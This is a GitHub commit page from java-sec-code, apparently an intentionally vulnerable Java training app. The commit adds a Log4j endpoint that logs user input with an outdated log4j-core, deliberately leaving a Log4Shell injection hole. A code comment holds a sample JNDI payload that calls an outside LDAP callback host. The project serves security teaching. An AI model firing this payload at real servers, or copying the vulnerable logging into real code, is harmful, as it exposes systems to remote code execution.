Skip to content

Commit ed28104

Browse files
committed
add log4j
1 parent 1f9da36 commit ed28104

File tree

11 files changed

+54
-14
lines changed

11 files changed

+54
-14
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,7 @@ Sort by letter.
3737
- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
3838
- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
3939
- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java)
40+
- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
4041
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
4142
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
4243
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)

README_zh.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@ joychou/joychou123
3232
- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
3333
- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
3434
- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
35+
- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
3536
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
3637
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
3738
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)

java-sec-code.iml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -79,8 +79,8 @@
7979
<orderEntry type="library" name="Maven: commons-codec:commons-codec:1.10" level="project" />
8080
<orderEntry type="library" name="Maven: org.apache.httpcomponents:fluent-hc:4.3.6" level="project" />
8181
<orderEntry type="library" name="Maven: commons-logging:commons-logging:1.1.3" level="project" />
82-
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-core:2.8.2" level="project" />
83-
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.7" level="project" />
82+
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-core:2.9.1" level="project" />
83+
<orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.9.1" level="project" />
8484
<orderEntry type="library" name="Maven: com.squareup.okhttp:okhttp:2.5.0" level="project" />
8585
<orderEntry type="library" name="Maven: com.squareup.okio:okio:1.6.0" level="project" />
8686
<orderEntry type="library" name="Maven: org.apache.commons:commons-digester3:3.2" level="project" />

pom.xml

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,13 @@
100100
<dependency>
101101
<groupId>org.apache.logging.log4j</groupId>
102102
<artifactId>log4j-core</artifactId>
103-
<version>2.8.2</version>
103+
<version>2.9.1</version>
104+
</dependency>
105+
106+
<dependency>
107+
<groupId>org.apache.logging.log4j</groupId>
108+
<artifactId>log4j-api</artifactId>
109+
<version>2.9.1</version>
104110
</dependency>
105111

106112
<dependency>
@@ -129,6 +135,7 @@
129135
<artifactId>spring-boot-starter-actuator</artifactId>
130136
</dependency>
131137

138+
<!-- eureka -->
132139
<dependency>
133140
<groupId>org.springframework.cloud</groupId>
134141
<artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package org.joychou.controller;
2+
3+
import org.apache.logging.log4j.LogManager;
4+
import org.apache.logging.log4j.Logger;
5+
import org.springframework.web.bind.annotation.GetMapping;
6+
import org.springframework.web.bind.annotation.RestController;
7+
8+
@RestController
9+
public class Log4j {
10+
11+
private static final Logger logger = LogManager.getLogger("Log4j");
12+
13+
/**
14+
* http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999}
15+
* Default: error/fatal/off
16+
* Fix: Update log4j to lastet version.
17+
* @param token token
18+
*/
19+
@GetMapping("/log4j")
20+
public String log4j(String token) {
21+
if(token.equals("java-sec-code")) {
22+
return "java sec code";
23+
} else {
24+
logger.error(token);
25+
return "error";
26+
}
27+
}
28+
29+
}

src/main/java/org/joychou/controller/SQLI.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ public class SQLI {
4343

4444
/**
4545
* Vuln Code.
46-
* http://localhost:8080/sqli/jdbc/vul?username=joychou
46+
* http://localhost:8080/sqli/jdbc/vuln?username=joychou
4747
*
4848
* @param username username
4949
*/

src/main/java/org/joychou/controller/SSRF.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,7 @@ public String URLConnectionSec(String url) {
6767
public String httpURLConnection(@RequestParam String url) {
6868
try {
6969
SecurityUtil.startSSRFHook();
70-
return HttpUtils.HTTPURLConnection(url);
70+
return HttpUtils.HttpURLConnection(url);
7171
} catch (SSRFException | IOException e) {
7272
return e.getMessage();
7373
} finally {

src/main/java/org/joychou/filter/OriginFilter.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
import javax.servlet.http.HttpServletResponse;
88
import java.io.IOException;
99

10+
import org.apache.catalina.servlet4preview.http.HttpFilter;
1011
import org.joychou.security.SecurityUtil;
1112
import org.slf4j.Logger;
1213
import org.slf4j.LoggerFactory;

src/main/java/org/joychou/security/ssrf/SSRFChecker.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -147,8 +147,8 @@ static boolean isInternalIp(String strIP) {
147147
/**
148148
* host转换为IP
149149
* 会将各种进制的ip转为正常ip
150-
* 167772161转换为10.0.0.1
151-
* 127.0.0.1.xip.io转换为127.0.0.1
150+
* 167772161 转换为 10.0.0.1
151+
* 127.0.0.1.xip.io 转换为 127.0.0.1
152152
*
153153
* @param host 域名host
154154
*/

src/main/java/org/joychou/util/HttpUtils.java

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@
55
import org.apache.commons.httpclient.methods.GetMethod;
66
import org.apache.commons.io.IOUtils;
77
import org.apache.http.HttpResponse;
8-
import org.apache.http.client.config.RequestConfig;
98
import org.apache.http.client.fluent.Request;
109
import org.apache.http.client.methods.HttpGet;
1110
import org.apache.http.impl.client.CloseableHttpClient;
@@ -21,6 +20,7 @@
2120
import javax.imageio.ImageIO;
2221
import java.io.BufferedReader;
2322
import java.io.IOException;
23+
import java.io.InputStream;
2424
import java.io.InputStreamReader;
2525
import java.net.HttpURLConnection;
2626
import java.net.URI;
@@ -33,7 +33,7 @@
3333
*/
3434
public class HttpUtils {
3535

36-
private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
36+
private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
3737

3838
public static String commonHttpClient(String url) {
3939

@@ -110,12 +110,14 @@ public static String URLConnection(String url) {
110110
}
111111

112112

113-
public static String HTTPURLConnection(String url) {
113+
public static String HttpURLConnection(String url) {
114114
try {
115115
URL u = new URL(url);
116116
URLConnection urlConnection = u.openConnection();
117-
HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
118-
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
117+
HttpURLConnection conn = (HttpURLConnection) urlConnection;
118+
// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
119+
InputStream is = conn.getInputStream(); // send request
120+
BufferedReader in = new BufferedReader(new InputStreamReader(is));
119121
String inputLine;
120122
StringBuilder html = new StringBuilder();
121123

@@ -206,7 +208,6 @@ public static String HttpAsyncClients(String url) {
206208
logger.error(e.getMessage());
207209
}
208210
}
209-
210211
}
211212

212213
}

0 commit comments

Comments
 (0)